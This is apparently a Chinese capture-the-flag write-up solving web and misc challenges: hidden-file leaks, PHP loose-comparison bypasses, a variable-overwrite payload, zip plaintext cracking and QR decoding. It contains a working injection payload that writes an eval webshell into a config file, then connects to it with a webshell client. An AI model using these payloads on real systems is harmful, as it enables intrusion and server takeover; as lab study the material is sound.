Web
土豪才能用的机器
打开页面,显示:I have a Mac,I am a coder,I love programing!!!
我的以为是修改http header来解,以各种姿势修改,都没有得到flag。
正确思路是Mac写代码会产生.DS_Store的隐藏文件,下载下来就是flag。
必须是数字
查看源代码,发现了I love vim,想起之前做的题有vim产生.swp的隐藏文件。
于是访问.index.php.swp,得到index.php的源代码。

发现还有一个f149.php,抓包,是一个php代码审计。

只能输入数字,而且还要有flag,想起php中==是松散比较,直接构造payload尝试。

得到flag。
输入密码
查看源码:
| 12
 3
 4
 5
 6
 7
 
 | if (isset($_GET['a'])) {
 if (strcmp($_GET['a'], $flag) == 0)
 die( 'Flag: '.$flag);
 else
 print 'you are close';
 }
 
 | 
这地方有个坑,php代码中是a变量,但是页面中提示check please input the password。
所以要用password变量,松散比较直接用数组。

请努力微笑
参考Wp:http://blog.csdn.net/gwenchill/article/details/46679621

信息收录
代码审计:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | function new_addslashes($string){
 if(!is_array($string))
 return addslashes($string);
 foreach($string as $key => $val)
 $string[$key] = new_addslashes($val);
 return $string;
 }
 $_POST = new_addslashes($_POST);
 $_GET = new_addslashes($_GET);
 $_REQUEST = new_addslashes($_REQUEST);
 $_COOKIE = new_addslashes($_COOKIE);
 $data = isset($_POST['data']) ?
 $_POST['data'] : '';
 $user_config = "<\?php \n";
 foreach($data as $key => $value)
 {
 $key = strtoupper($key);
 $user_config .= "define($key, '$value');\n";
 }
 @file_put_contents('user_config.php', $user_config);
 
 
 | 
Post的参数以数组的形式传递,经过过滤后保存到user_config.php中。
但是他过滤了数组的value值,没有过滤key值,可以在post的数组的key值上写入一句话。
payload:data['name','1');eval($_POST['C'])
菜刀链接即可得到flag。
泄露了什么东西
访问index.zip下载源码。
代码审计
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | <?php extract($_GET);
 include('flag.php');
 if (!empty($dpc))
 {
 $combination = trim(file_get_contents($filename));
 if ( $dpc === $combination)
 {
 echo "<p>Hello:" ." $combination!?</p>";
 echo "<p>Congratulation!!! flag is:" ." $flag</p>";
 }
 else
 {
 echo "<p>sorry!</p>"; }
 }
 ?>
 
 | 
变量覆盖,却没有结果。
看了writeup居然是变量sdust ORZ
payload:/index.php?filename=php://input&sdust=1 post: 1
php regrex
查看源码,发现需要用的正则表达式。
正则表达式我不太了解,只能请教。
http://www.runoob.com/regexp/regexp-tutorial.html
了解的并不深入,还需要进一步学习。
Misc
八十年代的歌
下载了个一docx文件,打开并没有发现什么。
docx文件可以直接改zip打开。
找到flag.xml得到flag。
来夺旗啊
因为有加密后zip的一部分key.txt
可以使用明文攻击。
pkcrack –c key.txt –p key.txt –C misc50.zip –P key.zip  -d de.zip



神秘的密码
经过提示是IDA块的数据,然后用hex解码,转成RGB
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | import zlibimport binascii
 
 IDAT="789c9d940b0e80300843af04f1fe7733313196f6cd5fc874930e3ae8dc6afb673dac8e717acea7631475216abc13a3b12eafee6bc4f017cffbb44bd93b738fac5ee7cfe7ca1ae6f01adef7a41628cd32f934fa1a7666169d3943d247430caf8acf9517afbd7e8a59ad93a9abd63badb3b779e85c69a49d8ce7f57cab8954a2736436f3acb312d4ad44937ee8eeccbb9c78ba9515fe953af91fa11ee7c1fd48544734d73b292cb37cb21d0a2d1b33".decode('hex')
 
 result=binascii.hexlify(zlib.decompress(IDAT))
 
 print(result)
 
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | import Image
 MAX = 27
 pic = Image.new("RGB",(MAX, MAX))
 str = "000000000000000000000000000011111110100001001011111110010000010110011001010000010010111010001001101010111010010111010010010110010111010010111010111100000010111010010000010100010010010000010011111110101010101011111110000000000000001101000000000011110110010001111101100110000111100001101001010011110000011111101001000110100000001000001000010110000101100001111010100101101001011010011000001110010111100101110011100010010110100101101000001000001111111111000001010010010110111111101111100000000000000010001001000110100011111110000110001010111000010000010100010101000111100010111010011001101111100010010111010100001001000011010010111010101110011101100110010000010100110011001011110011111110100000011100110010000000000000000000000000000"
 i=0
 for y in range (0,MAX):
 for x in range (0,MAX):
 if(str[i] == '1'):
 pic.putpixel([x,y],(0, 0, 0))
 else:
 pic.putpixel([x,y],(255,255,255))
 i = i+1
 
 pic.show()
 pic.save("flag.png")
 
 | 
得到二维码,扫码得flag。
总结
- php数组是个重要的东西,可以绕过很多松散比较。
- php自动回替.为_。
- docx可以直接改为zip打开。